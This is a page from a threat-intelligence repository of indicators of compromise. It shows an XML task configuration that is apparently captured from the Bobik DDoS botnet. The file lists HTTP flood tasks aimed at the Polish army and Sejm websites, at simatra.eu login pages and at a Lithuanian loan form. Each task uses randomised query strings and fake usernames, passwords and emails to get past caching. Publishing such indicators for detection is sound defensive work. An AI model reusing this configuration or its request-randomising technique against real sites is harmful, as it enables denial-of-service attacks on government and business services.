6
0
mirror of https://github.com/avast/ioc synced 2024-06-28 17:51:17 +00:00
ioc-collection/Bobik/XML_configs/22-07-24-11.45.xml
2022-09-05 23:38:20 +02:00

18 lines
5.8 KiB
XML

<?xml version="1.0" ?>
<config>
<tasks delay="0" thread_count="-5">
<task type="http_10" period="0" method="GET" ip="91.208.93.236" port="443" host="www.wojsko-polskie.pl" path="/szukaj?subject=&amp;query={.,15,20}" response="1" allow_gzip="1" timeout="1000" https="1" id="396258650"/>
<task type="http_10" period="0" method="GET" ip="91.208.93.236" port="443" host="www.wojsko-polskie.pl" path="/articles/news/?strona={d,1,2}" response="1" allow_gzip="1" timeout="1000" https="1" id="396351111"/>
<task type="http_10" period="0" method="GET" ip="91.208.93.177" port="80" host="archiwum.wojsko-polskie.pl" path="/pl/a/aktualnosci_strona%3d{d,1,2}.html" response="1" allow_gzip="1" timeout="1000" https="0" id="396351158"/>
<task type="http_10" period="0" method="GET" ip="91.208.93.177" port="80" host="archiwum.wojsko-polskie.pl" path="/pl/a/index?szukaj={.,15,20}" response="1" allow_gzip="1" timeout="1000" https="0" id="396351221"/>
<task type="http_10" period="0" method="POST" ip="77.240.254.237" port="80" host="gps.simatra.eu" path="/" response="1" allow_gzip="1" timeout="1000" https="0" body="__EVENTTARGET=&amp;__EVENTARGUMENT=&amp;__LASTFOCUS=&amp;__VIEWSTATE=%2FwEPDwUJNjg1NjAxMTAzD2QWBAIBD2QWAmYPZBYCZg8WAh4EVGV4dAUJVmVyLiAxLjA2ZAIDD2QWCAIBDxAPFgIeC18hRGF0YUJvdW5kZ2RkFgECAWQCAw8WAh8ABRNQcmlzaWp1bmdpbW8gdmFyZGFzZAIHDxYCHwAFDFNsYXB0YcW%2Bb2Rpc2QCCw8PFgIfAAULUHJpc2lqdW5ndGlkZGT79{.,53,53}&amp;__VIEWSTATEGENERATOR=90059987&amp;__EVENTVALIDATION=%2FwEdAAlTcDwZN%2Bjb%2BfJchQ3ChIGw5jZMYo80IgVgSbmeq8qmTqnUS%2FeCjCMrX041bhM37RzxlQ7haCe8FU92x8VwMmYr3%2Bl9GgBdbLv3gVeGR%2FZ6OX2ilsbDxrZxOUKxl1M3yqZUrsGtEC0SKq72cYUQj6MHdjb4xzpKucCqKjegIpvFhnd%2FcDBIq6BooBrepfvNF%2Bo{.,47,47}%3D%3D&amp;LangDropDownList=lt&amp;txtUsername={.,15,20}&amp;txtPassword={.,15,20}&amp;btnlogin=Prisijungti" id="396351266"/>
<task type="http_10" period="0" method="POST" ip="77.240.254.237" port="80" host="transportas.simatra.eu" path="/" response="1" allow_gzip="1" timeout="1000" https="0" body="LASTFOCUS=&amp;**VIEWSTATE=%2FwEPDwUKMTQ1NzkwMDM0Mg9kFgJmD2QWAgIDD2QWBAIBDw9kFgIeBXN0eWxlBQ1kaXNwbGF5Om5vbmU7FgICAQ9kFgICAQ9kFgICBQ8PFgIeCEltYWdlVXJsBRh%2BL0NTUy9idXR0b25zL3NlYXJjaC5wbmdkZAICD2QWAgIBDw9kFgIfAAUQbWluLXdpZHRoOjYwMHB4O2QYAQUfY3RsMDAkVGVtcGxhdGVDb250ZW50JE11bHRpVmlldw8PZGZkdC2vbCOuKlQkhi6a8fngpdKNiBplyeOjzVXyZ3IKcZw%3D&amp;**VIEWSTATEGENERATOR=CA0B0334&amp;**EVENTTARGET=&amp;**EVENTARGUMENT=&amp;**EVENTVALIDATION=%2FwEdAAfTdSzEwtUqn23eKcNcjifUSKDV1sFdgh5f%2FBppUUgs5DHApwUH%2BvYCDXmGAyeBu%2FJMjFx0H1RJnQ53ehH%2B9f6NVeFHb%2FYsQEjS48jO7qKChIZxdHPq7So48%2BbHnRo2CpQu62GmQX2u2hPYSdIjuyqReCZe7bnRSZiGKwfAczjT%2B89J%2FQ3T1AvyRR6vTOJnLv0%3D&amp;ctl00%24SearchBox%24TextBox=Paie%C5%A1ka&amp;ctl00%24SearchBox%24StateBox=&amp;ctl00%24TemplateContent%24RedirectTo=&amp;ctl00%24TemplateContent%24NameBox={.,15,20}&amp;ctl00%24TemplateContent%24PasswordBox={.,15,20}&amp;ctl00%24TemplateContent%24LoginButton=Prisijungti" id="396351321"/>
<task type="http_10" period="0" method="GET" ip="77.240.254.237" port="80" host="transportas.simatra.eu" path="/" response="1" allow_gzip="1" timeout="1000" https="0" id="396351333"/>
<task type="http_10" period="0" method="GET" ip="77.240.254.237" port="80" host="transportas.simatra.eu" path="/" response="1" allow_gzip="1" timeout="1000" https="0" id="396351352"/>
<task type="http_10" period="0" method="POST" ip="194.135.87.129" port="443" host="kreditogarantas.lt" path="/wp-admin/admin-ajax.php" response="1" allow_gzip="1" timeout="1000" https="1" body="------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;post_id&quot; 3346 ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_id&quot; d2b7f9c ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;referer_title&quot; Reikalinga paskola? - Kredito garantas ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;queried_id&quot; 3346 ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_fields[name]&quot; {.,15,20} {.,15,20} ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_fields[email]&quot; {.,15,20}@gmaul.com ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_fields[field_70ce1a8]&quot; ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_fields[field_663f646]&quot; {d,5,6} ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_fields[field_check1]&quot; Taip ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;form_fields[field_2f1f116]&quot; on ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;action&quot; elementor_pro_forms_send_form ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw Content-Disposition: form-data; name=&quot;referrer&quot; https://kreditogarantas.lt/reikalinga-paskola/ ------WebKitFormBoundaryjsw8LbAOMxVhi7Gw--" id="396353246"/>
<task type="http_10" period="0" method="GET" ip="194.135.87.129" port="443" host="kreditogarantas.lt" path="/" response="1" allow_gzip="1" timeout="1000" https="1" id="396353260"/>
<task type="http_10" period="0" method="GET" ip="194.41.12.17" port="443" host="www.sejm.gov.pl" path="/Sejm9.nsf/wydarzenia.xsp?symbol=MEDIA_KOMUNIKATY&amp;$$ajaxid=view%3A_id1%3A_id2%3AfacetMain&amp;page={d,1,2}&amp;$$viewid=!799n2vk7r73vty9ve0akfyo5n!" response="1" allow_gzip="1" timeout="1000" https="1" id="396354017"/>
<task type="http_10" period="0" method="GET" ip="194.41.12.17" port="443" host="www.sejm.gov.pl" path="/Sejm9.nsf/wydarzenia.xsp?$$ajaxid=view%3A_id1%3A_id2%3AfacetMain&amp;page={d,1,2}&amp;$$viewid=!awgxlp3h8swl1enna9309wwxk!" response="1" allow_gzip="1" timeout="1000" https="1" id="396354437"/>
</tasks>
</config>